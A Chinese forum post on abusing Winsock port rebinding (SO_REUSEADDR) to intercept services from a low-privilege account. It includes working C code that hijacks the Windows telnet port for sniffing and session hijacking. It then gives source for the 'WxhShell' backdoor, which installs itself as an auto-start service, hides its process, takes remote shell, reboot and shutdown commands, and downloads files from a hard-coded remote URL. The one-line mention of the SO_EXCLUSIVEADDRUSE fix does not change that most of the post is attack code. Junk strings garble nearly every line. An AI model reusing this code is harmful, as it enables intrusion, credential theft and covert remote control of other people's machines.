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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JQH7ZaN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PuU*vs3  
Ir>2sTrm  
  saddr.sin_family = AF_INET; z^9E;  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U~hCn+0  
( w5f(4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t@r#b67WJe  
;6zPiaDQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +|M{I= 8  
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  这意味着什么?意味着可以进行如下的攻击: y* rY~U#3  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Bf+^O)Ns^  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,.q8Xf  
[Q=4P*G}X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m"q/,}DR  
z2ds8-z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pbFYiu+  
e-jw^   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CY5w$E  
wU.'_SBfB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xLZMpP5c  
` )]lUvR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tz3]le|ml  
QWQ!Ak  
  #include %L28$c3p  
  #include u5/t2}^T  
  #include G6<HO7\  
  #include    D|"sE>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @N]5&4NL  
  int main() V3 qT<}y|  
  { >Rr!rtc'x  
  WORD wVersionRequested; 4u7Cm  
  DWORD ret; *qbRP"#[$  
  WSADATA wsaData; ^b:Xo"q#H  
  BOOL val; y3Y2 QC(  
  SOCKADDR_IN saddr; )'=V!H#U*  
  SOCKADDR_IN scaddr; G}s;JJax  
  int err; Q^vGj</u  
  SOCKET s; SC]6F*  
  SOCKET sc; $>EqH?EQ  
  int caddsize; \A ;^ UxG  
  HANDLE mt; C1n? ?Y[  
  DWORD tid;   iq,ah"L  
  wVersionRequested = MAKEWORD( 2, 2 ); rAL1TU(vm  
  err = WSAStartup( wVersionRequested, &wsaData ); AVU7WU{  
  if ( err != 0 ) { yg`E22  
  printf("error!WSAStartup failed!\n"); X1O65DMr`g  
  return -1; wXP_]-  
  } /#@LRN<oCq  
  saddr.sin_family = AF_INET; o}d2N/T  
   PVZEB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q Xsfp  
+BU0 6lLD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B*32D8t`u  
  saddr.sin_port = htons(23); j-j'phK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RFhU#  
  { gYRqqV  
  printf("error!socket failed!\n"); |G>q:]+AV  
  return -1; 5s#R`o %Z  
  } sw[<VsxjR  
  val = TRUE; fmtuFr^a1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yY'gx|\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pb~Ps#"Zg  
  { /7.wQeL9  
  printf("error!setsockopt failed!\n"); is64)2F](  
  return -1; #)Ep(2  
  } )iT.A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )~1.<((<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nR(#F9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mi*:S%;h  
[kVpzpGr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b?sA EU;  
  { ZCj>MA  
  ret=GetLastError(); P0a>+^:%  
  printf("error!bind failed!\n"); "r:H5) !  
  return -1; (MZ A  
  } 11PLH0  
  listen(s,2); t)YFTO"Jj  
  while(1) PY[S z=[  
  { hgF21Oj9  
  caddsize = sizeof(scaddr); \ x3^  
  //接受连接请求 IiG4ib>)W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Pw0{.W~r  
  if(sc!=INVALID_SOCKET) `' dX/d  
  { @\#'oIc|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1!K !oY  
  if(mt==NULL) H Jnv'^yn  
  { ]!n*V/g  
  printf("Thread Creat Failed!\n"); hz&^_ G6`  
  break; ]|H]9mys98  
  } &z7N\n  
  } Wh#os,U$  
  CloseHandle(mt); ,| $|kO/  
  } %Y#[% ~|(  
  closesocket(s); x& mz-  
  WSACleanup();  "Nk`RsW  
  return 0; x0}<n99qE  
  }   |:!E HFr  
  DWORD WINAPI ClientThread(LPVOID lpParam) iuvtj]/  
  { WiPM <'  
  SOCKET ss = (SOCKET)lpParam; }Z~pfm_S  
  SOCKET sc; !~6'@UYo  
  unsigned char buf[4096]; z:0-aDe M  
  SOCKADDR_IN saddr; $}^Rsv(  
  long num; m0dFA<5-  
  DWORD val; gt].rwo"  
  DWORD ret; 7vB9K_wCI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ctnAVm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (:tTx>V#  
  saddr.sin_family = AF_INET; I^rZgp<'i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6)tB{:h&~0  
  saddr.sin_port = htons(23); YzforM^F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yHa:?u6  
  { FCS5@l,'<  
  printf("error!socket failed!\n"); U'f$YVc  
  return -1; 5$ (b3]  
  } 'fp<FeTg  
  val = 100; p,_6jdz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T%N~oa  
  { \@iOnRuHn9  
  ret = GetLastError(); "<g?x`iz  
  return -1; -f-O2G=  
  } t-?KKU8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z<$E.##  
  { 8`R +y  
  ret = GetLastError(); 6KBzlj0T+  
  return -1; N,'[:{GOY  
  } Kt/+PS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iA1;k*) q  
  { W(]E04  
  printf("error!socket connect failed!\n"); y \mutm  
  closesocket(sc); a:(: :m  
  closesocket(ss); %_%f# S  
  return -1; KoxGxHz^Y3  
  } e0G}$ as  
  while(1) lEVQA*u[  
  { \E ? iw.}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [qjAq@@N#q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B6Wq/fl/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aHVdClD2o  
  num = recv(ss,buf,4096,0); 2Be?5+  
  if(num>0) zx_O"0{5  
  send(sc,buf,num,0); -Ib+#pX  
  else if(num==0) ]ft~OqLg!  
  break; E'Fv *UA  
  num = recv(sc,buf,4096,0); N4Fy8qU;  
  if(num>0) /eU1(oo&`5  
  send(ss,buf,num,0); =0!\F~  
  else if(num==0) ]iE.fQ?;J  
  break; jx5[bUp4u  
  } ,&zjOc_v  
  closesocket(ss);  01UR  
  closesocket(sc); tNi% }~Z  
  return 0 ; \r1kbf7?  
  } pJ)+}vascR  
]Lb?#S  
iA^+/Lt  
========================================================== } K hq  
\h'E5LO  
下边附上一个代码,,WXhSHELL +cE tm  
CLFxq@%nu~  
========================================================== jmk*z(}#:  
9$\;voo  
#include "stdafx.h" Gn2bZ%l  
&ttv4BC^r  
#include <stdio.h> ^! v}  
#include <string.h> XYxm8ee"j  
#include <windows.h> s&QBFyKtJ  
#include <winsock2.h> &Curvc1fm  
#include <winsvc.h>  7KSGG1ts  
#include <urlmon.h> n'&`9M['%d  
#)h ~.D{  
#pragma comment (lib, "Ws2_32.lib")  HN~v&,  
#pragma comment (lib, "urlmon.lib") bVAgul=__  
%t5BB$y  
#define MAX_USER   100 // 最大客户端连接数 bCaPJ!ZO  
#define BUF_SOCK   200 // sock buffer 8#d1}Y  
#define KEY_BUFF   255 // 输入 buffer vwqN;|F  
kUaGok?  
#define REBOOT     0   // 重启 hB GGs  
#define SHUTDOWN   1   // 关机 *n|0\V<  
tci%=3,)  
#define DEF_PORT   5000 // 监听端口 w?$u!X  
8t*%q+Z  
#define REG_LEN     16   // 注册表键长度 5w [=  
#define SVC_LEN     80   // NT服务名长度 ]ZryY EB  
M_e$l`"G  
// 从dll定义API *|gs-<[#X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eV {FcJha  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zcD_}t_K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tM PX vE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L/iVs`qF  
% Dr4~7=7a  
// wxhshell配置信息 a@_Cx  
struct WSCFG { :C:N]6_{SZ  
  int ws_port;         // 监听端口 :?:j$ =nWN  
  char ws_passstr[REG_LEN]; // 口令 ,O&PLr8cJ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no rM >V=|9,  
  char ws_regname[REG_LEN]; // 注册表键名 F#}1{$)% /  
  char ws_svcname[REG_LEN]; // 服务名 DP6{HR$L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J PzQBc5e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s eZ<52f2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wru  Fp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?m_RU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c!u}KVH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;iC'{S  
PVkN3J  
}; (P>eWw\0  
o"ah\"#el  
// default Wxhshell configuration ~ Dp:j*H  
struct WSCFG wscfg={DEF_PORT, :rs\ydDUF  
    "xuhuanlingzhe", `j!2uRFe>  
    1, >K|GLP  
    "Wxhshell", 1={Tcq\]  
    "Wxhshell", 4(0t GF  
            "WxhShell Service", iZq@W3GL C  
    "Wrsky Windows CmdShell Service", noUZ9M|hz  
    "Please Input Your Password: ", ,I&0#+}n  
  1, 548 [! p4  
  "http://www.wrsky.com/wxhshell.exe", EAd:`X,Y  
  "Wxhshell.exe" =Z>V}`n  
    }; -ynLuq#1A  
L5k>;|SA  
// 消息定义模块 (8-lDoW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0-~6} r$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `7qp\vYL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r?yJ  
char *msg_ws_ext="\n\rExit."; ;Y|~!%2~  
char *msg_ws_end="\n\rQuit."; |Q)w3\S$  
char *msg_ws_boot="\n\rReboot..."; k-ex<el)#  
char *msg_ws_poff="\n\rShutdown..."; 6[2?m*BsN  
char *msg_ws_down="\n\rSave to "; {|J2clL  
cV_IG}LJ  
char *msg_ws_err="\n\rErr!"; o(>-:l i0  
char *msg_ws_ok="\n\rOK!"; JTh =JHJ  
whm tEY  
char ExeFile[MAX_PATH]; -^jLU FC  
int nUser = 0; b;{"lJ:+Z  
HANDLE handles[MAX_USER]; ?6YUb;  
int OsIsNt; d,rEEc Y  
*JC{G^|Y  
SERVICE_STATUS       serviceStatus; C.B}Py+   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'GzhZ`E6  
L,A-G"z0Z  
// 函数声明 "`3 ^M vC  
int Install(void); pOI`,i}.  
int Uninstall(void); :6k DUFj}  
int DownloadFile(char *sURL, SOCKET wsh); u r.T YKF  
int Boot(int flag); |UDD/e  
void HideProc(void); X>GY*XU  
int GetOsVer(void); 5<?c_l9X^  
int Wxhshell(SOCKET wsl); rWfurB5f  
void TalkWithClient(void *cs); T!xy^n]}  
int CmdShell(SOCKET sock); Q%VR@[`\  
int StartFromService(void); P"_}F  
int StartWxhshell(LPSTR lpCmdLine); m3xj5]#^$  
$0S"Lh{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j _9<=Vu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >.wd)  
#M^Yh?~%w  
// 数据结构和表定义 IZv, Wo  
SERVICE_TABLE_ENTRY DispatchTable[] = s>``- ]3  
{ yqb <<4I  
{wscfg.ws_svcname, NTServiceMain}, 2d;xAX]  
{NULL, NULL} `L*;58MA  
}; !@Vp Bl  
>Wit"p  
// 自我安装 ZFuJ2 :  
int Install(void) 6ym)F!t8l  
{ |wb(rua  
  char svExeFile[MAX_PATH]; hG;=ci3EE  
  HKEY key; y'O{8Q8T  
  strcpy(svExeFile,ExeFile); 8U:dgXz  
t{s*3k/  
// 如果是win9x系统,修改注册表设为自启动 UG'U D"  
if(!OsIsNt) { JR<-'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .d!*<`S|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n9/0W%X>  
  RegCloseKey(key); <.(/#=2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z slEUTj)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u&_U CJCf  
  RegCloseKey(key); j4SG A#;v  
  return 0; Bt7v[Ot   
    } 10 H!  
  } L.:QI<n  
} _%TeTNY#  
else { ^r :A^q  
)9jQ_  
// 如果是NT以上系统,安装为系统服务 / lM~K:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6Oba}`)q9  
if (schSCManager!=0) 8 (h  
{ dsZ ( D:)  
  SC_HANDLE schService = CreateService sK/"  
  ( i6:yNb ='  
  schSCManager, DF|lUO]:  
  wscfg.ws_svcname, "EhO )lR  
  wscfg.ws_svcdisp, }~'Wz*Gm  
  SERVICE_ALL_ACCESS, "}+/ 0$F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y/6LMAI  
  SERVICE_AUTO_START, |B$\3,  
  SERVICE_ERROR_NORMAL, A y[L{!)2{  
  svExeFile, KmOa^vY1.T  
  NULL, xLK0~|_#!  
  NULL, P2JRsZ.  
  NULL, j4r,_lH^r  
  NULL, B]F7t4Y!  
  NULL p}7&x[fTLk  
  ); P}QbxkS 8  
  if (schService!=0) 9ufs6 z  
  { AHD%6 \$  
  CloseServiceHandle(schService); hBE>ea  
  CloseServiceHandle(schSCManager); pDq_nx9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TPFmSDq  
  strcat(svExeFile,wscfg.ws_svcname); "$pg mf2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U?j>28  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PSR `8z n  
  RegCloseKey(key); slfVQ809  
  return 0; (b}7Yb]#c  
    } nnl9I4-O  
  } O~'yP @&`  
  CloseServiceHandle(schSCManager); 2vQ^519  
} $QBUnLOek&  
} O9)}:++T  
ymX,k|lh  
return 1; R >&/n/l  
} #de^~  
0w. _}C z  
// 自我卸载 {~I_rlo n  
int Uninstall(void) }3y\cv0ct  
{ 4yv31QG$  
  HKEY key; 4PM`hc  
q#3X*!)  
if(!OsIsNt) { ^(vd8&71  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mJR T+SZ  
  RegDeleteValue(key,wscfg.ws_regname); @\}36y  
  RegCloseKey(key); M)^9e?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yLOLv6g~e  
  RegDeleteValue(key,wscfg.ws_regname); Vp{2Z9]}  
  RegCloseKey(key); " <a|Q,!  
  return 0; Yb{t!KL  
  } &ru0i@?)  
} 695ppiKU  
} nW'x#0-  
else { _u2  
kk+8NwM1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C~V$G}mM  
if (schSCManager!=0) m kf{_!TK  
{ PzDgl6C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pv.@Y 30  
  if (schService!=0) ved Qwzh  
  { 0M+tKFb  
  if(DeleteService(schService)!=0) { {o%R~{6  
  CloseServiceHandle(schService); V/}8+Xq  
  CloseServiceHandle(schSCManager); L(8dK  
  return 0; htym4\Z=  
  } rapca'&#  
  CloseServiceHandle(schService); Uk\U*\.  
  } cSk}53  
  CloseServiceHandle(schSCManager); _/ZY&5N  
} 5V bNWrw  
} i%8 sy  
@ RBwT  
return 1; :zRboqe(cc  
} hz<J8'U  
K*FAngIB  
// 从指定url下载文件 N@0scfO6<  
int DownloadFile(char *sURL, SOCKET wsh) \"Iy <zG  
{ Dx'e+Bm  
  HRESULT hr; dxWw%_Q  
char seps[]= "/"; = g}yA=.  
char *token; =LnAMl#9  
char *file; c.v)M\:  
char myURL[MAX_PATH]; [F EQ@  
char myFILE[MAX_PATH]; $8r:&Iw  
A,qG*lv  
strcpy(myURL,sURL); pj]<i.p  
  token=strtok(myURL,seps); +(%[fW  
  while(token!=NULL) 3: Uik  
  { O_^h 7   
    file=token; >O~5s.1u  
  token=strtok(NULL,seps); nVzo=+Yp  
  }  V}qmH2h  
54w-yY  
GetCurrentDirectory(MAX_PATH,myFILE); vE(Hy&Q&  
strcat(myFILE, "\\"); e_TDO   
strcat(myFILE, file); }}_l@5  
  send(wsh,myFILE,strlen(myFILE),0); &)-?=M  
send(wsh,"...",3,0); H #_Z6J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7l3q~dQ  
  if(hr==S_OK) ]U%Tm>s.  
return 0; A4' aB0^  
else @jKB!z9{  
return 1; (.o'1 '  
W(YJz#]6_  
} "#jKk6{I0  
N=9lA0y+  
// 系统电源模块 K#r` ^aUc  
int Boot(int flag) I]X<L2  
{ y e'5 A   
  HANDLE hToken; e{&gF1" [  
  TOKEN_PRIVILEGES tkp; ;rgsPVbVf  
fF%r$`2  
  if(OsIsNt) { jQ*Qh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o@. !Z8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s8Oz^5p(  
    tkp.PrivilegeCount = 1; #SueT"F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WM26-nR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A_%w (7o"  
if(flag==REBOOT) { k1J}9HNYR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1 <+^$QL  
  return 0; mLE`IKgd]  
} ] ?(=rm9u  
else { }g?]B+0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X6RM2  
  return 0; . {I7sUQ  
} =%LS9e^7D  
  } 16vfIUtb  
  else { srL,9)O C  
if(flag==REBOOT) { xh0!H| R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uypD`%pC  
  return 0; LKa_ofY  
} P6Ei!t,>  
else { x% 1Rp[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M3%< kk-_  
  return 0; 'mF}+v^   
} =#fqFL,  
} yrw!b\  
#'qW?8d}  
return 1; 1a<~Rmcil  
} 2 O%UT?R  
6k2~j j1d  
// win9x进程隐藏模块 Y2Bu,/9^  
void HideProc(void) A@UnrbX:  
{ bPNsy@"6  
a'BBp6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1Q<a+ l  
  if ( hKernel != NULL ) i&Ea@b  
  { eo!z>9#.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  BeQJ/`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eW/Hn  
    FreeLibrary(hKernel); Ax ^9J)C  
  } \;}dS SB1  
"TPMSx&Ei  
return; o%:eYl  
} i|*:gH  
OR3TRa XD  
// 获取操作系统版本 A.n1|Q#  
int GetOsVer(void) RW 5T}  
{ a^BD55d?  
  OSVERSIONINFO winfo; Liofv4![  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 945psG@|  
  GetVersionEx(&winfo); TO<g@u]*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VuGSP]$q  
  return 1; YpJzRm{Ra  
  else Hogr#Sn2  
  return 0; |c) #zSv  
} Y3?kj@T`i  
%Xn)$Ti ~<  
// 客户端句柄模块 N}\i!YUD  
int Wxhshell(SOCKET wsl) NJ.kT uk  
{ <T['J]k%  
  SOCKET wsh; Ks4TBi&J   
  struct sockaddr_in client; m35G;  
  DWORD myID; ZP1EO Z  
ws=y*7$y  
  while(nUser<MAX_USER) Mvux=Ws  
{ H_9~gi  
  int nSize=sizeof(client); tZJKB1#WbP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sB $!X@  
  if(wsh==INVALID_SOCKET) return 1; .$Y[>9  
^-DK<jZ^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 46b.= }  
if(handles[nUser]==0) \>+gZc]an  
  closesocket(wsh); =Oy,SX  
else .*ZNZ|g_  
  nUser++; #C|iW@  
  } `+U-oqs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ab2VF;z :  
1!~9%=%  
  return 0; |nD`0Rbw  
} r_)*/  
}G]]0Oi2  
// 关闭 socket # aC}\  
void CloseIt(SOCKET wsh) x[]n\\a?  
{ M:ttzsd  
closesocket(wsh); sviGS&J9h  
nUser--; kY|<1Ht  
ExitThread(0); {2!.3<#  
} (q)W<GYP  
@ ~PL|Pp_  
// 客户端请求句柄  '{),gV.  
void TalkWithClient(void *cs) .69{GM?  
{ "F=O   
[K^RC;}nV^  
  SOCKET wsh=(SOCKET)cs; rKO[;]_*  
  char pwd[SVC_LEN]; xSw ^v6!2  
  char cmd[KEY_BUFF]; T3\Q<  
char chr[1]; %.]qkGZe#  
int i,j; TtHqdKL  
1|2X0Xm{  
  while (nUser < MAX_USER) { xand%XNv  
WO|#`HM2  
if(wscfg.ws_passstr) { "/K44(^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^hU7QxW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uc.K6%iI  
  //ZeroMemory(pwd,KEY_BUFF); $cc]pJy"}  
      i=0; +g(QF   
  while(i<SVC_LEN) { }=NjFK_6  
)nQ.6  
  // 设置超时 4jvgyi 9  
  fd_set FdRead; t|1?mH9  
  struct timeval TimeOut;  IS!sJc  
  FD_ZERO(&FdRead); TwY]c<t  
  FD_SET(wsh,&FdRead); ^MuO;<<,.  
  TimeOut.tv_sec=8; c'[l%4U8[  
  TimeOut.tv_usec=0; I U/gYFT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rlgp1>89  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2-FL&DE  
YeT[KjX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q'[5h>Pa  
  pwd=chr[0]; ,'[0tl}8K  
  if(chr[0]==0xd || chr[0]==0xa) { =j6f/8   
  pwd=0; >IsRd  
  break; "d9"Md0k  
  } = oQ-I  
  i++; 3V2 "1Ic  
    } ,@Xl?  
?(H/a-(:v}  
  // 如果是非法用户,关闭 socket k68\ _NUL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |X0h-kX4  
} [?^,,.Dd  
NZ7g}+GTG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pri=;I(2A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,dP-sD;<  
ihdN{Mx<2  
while(1) { h@&& .S`B  
{%*,KB>b  
  ZeroMemory(cmd,KEY_BUFF); P;C3{>G9  
To.CY^M  
      // 自动支持客户端 telnet标准   F|Pf-.r`t  
  j=0; r3*0`Rup  
  while(j<KEY_BUFF) { Yxp.`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FWNWOU  
  cmd[j]=chr[0]; a"@k11  
  if(chr[0]==0xa || chr[0]==0xd) { 9Ra*bP ]1  
  cmd[j]=0; ]c4?-Vq%u  
  break; 4$ya$Y%s%  
  } ux:czZqy  
  j++; ;EDc1:  
    } -{n2^vvF  
~PAF2  
  // 下载文件 t"4RGO)jh  
  if(strstr(cmd,"http://")) { aNs~Uad1U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V C$,Y  
  if(DownloadFile(cmd,wsh)) Sc#B -4m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*W_  
  else ^E{M[;sF3y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [$:M/5y9  
  } &3~lZa;D  
  else { BWRAz*V  
vkUXMMuf+e  
    switch(cmd[0]) { n@>h"(@i  
  2^RWGCEv  
  // 帮助 /Y| y0iK  
  case '?': { IsP-[0it  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  qmQ}  
    break; :4JqT|nS  
  } A8tzIh8  
  // 安装 3*INDD=  
  case 'i': { D_kz'0^|  
    if(Install()) 17kh6(X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); max 5s$@  
    else tf<}%4G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  IDCuS  
    break; *WTmS2?'h  
    } v|~&I%S7  
  // 卸载 bT93R8yp  
  case 'r': { p=13tQS<  
    if(Uninstall()) pAK7V;sJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbf2ty  
    else <7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f[r?J/;P9  
    break; Qk`ykTS!  
    } '?$N.lj$d  
  // 显示 wxhshell 所在路径 MC\rx=cR\  
  case 'p': { @9$u!ny0  
    char svExeFile[MAX_PATH]; (_2Iu%F  
    strcpy(svExeFile,"\n\r"); CB!5>k+mC  
      strcat(svExeFile,ExeFile); *aem5 E`c  
        send(wsh,svExeFile,strlen(svExeFile),0); t?&@bs5~g  
    break; &>%R)?SZh  
    } hKx*V"7/#\  
  // 重启 +,8j]<wpo  
  case 'b': { AhozrroV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mHj3ItXUu  
    if(Boot(REBOOT)) %KjvV<f-a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;pH&YBY  
    else { &Hl*Eg f  
    closesocket(wsh); 1&7~.S;km  
    ExitThread(0); owR`Z`^h)  
    } Nd;)V  
    break; --D&a;CO}  
    } U-]Rm}X\M  
  // 关机 OCX>LK!K  
  case 'd': { k_,wa]ws$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \jR('5DcB  
    if(Boot(SHUTDOWN)) 3)ZdT{ MY  
